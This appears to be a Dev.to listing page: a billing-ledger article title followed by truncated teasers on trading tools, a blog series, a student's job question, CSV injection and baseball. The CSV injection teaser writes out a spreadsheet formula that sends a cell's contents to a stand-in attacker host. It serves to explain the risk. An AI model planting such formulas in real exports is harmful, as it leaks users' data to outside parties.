How I built a billing system with a real double-entry ledger in Node + PostgreSQL

June 23, 2026 · Dev.to

I built 168 pages of free trading tools with vanilla HTML/JS — here's how
The idea Prop firm traders (people who trade with other people's money) need specific calculators that account for stric
The Knowledge I Kept to Myself Helped No One
Back to Feedback — Episode 1 This is the first post in a series I've been building for a while: Back to Feedback. The pr
how do you get real-world experience before your first job?
hello ! im a CS student (2nd year) and ive been look around for some tech jobs. any kind because honestly i just want a
CSV injection: the export button that runs code on someone else's machine
A customer fills in their name. They type =HYPERLINK("http://evil.example/?leak="&A2,"click"). Your validation passes. I
Angels’ offense goes stagnant in loss to Orioles
After a strong offensive performance over the weekend, the Angels were blanked until a solo shot in the ninth inning in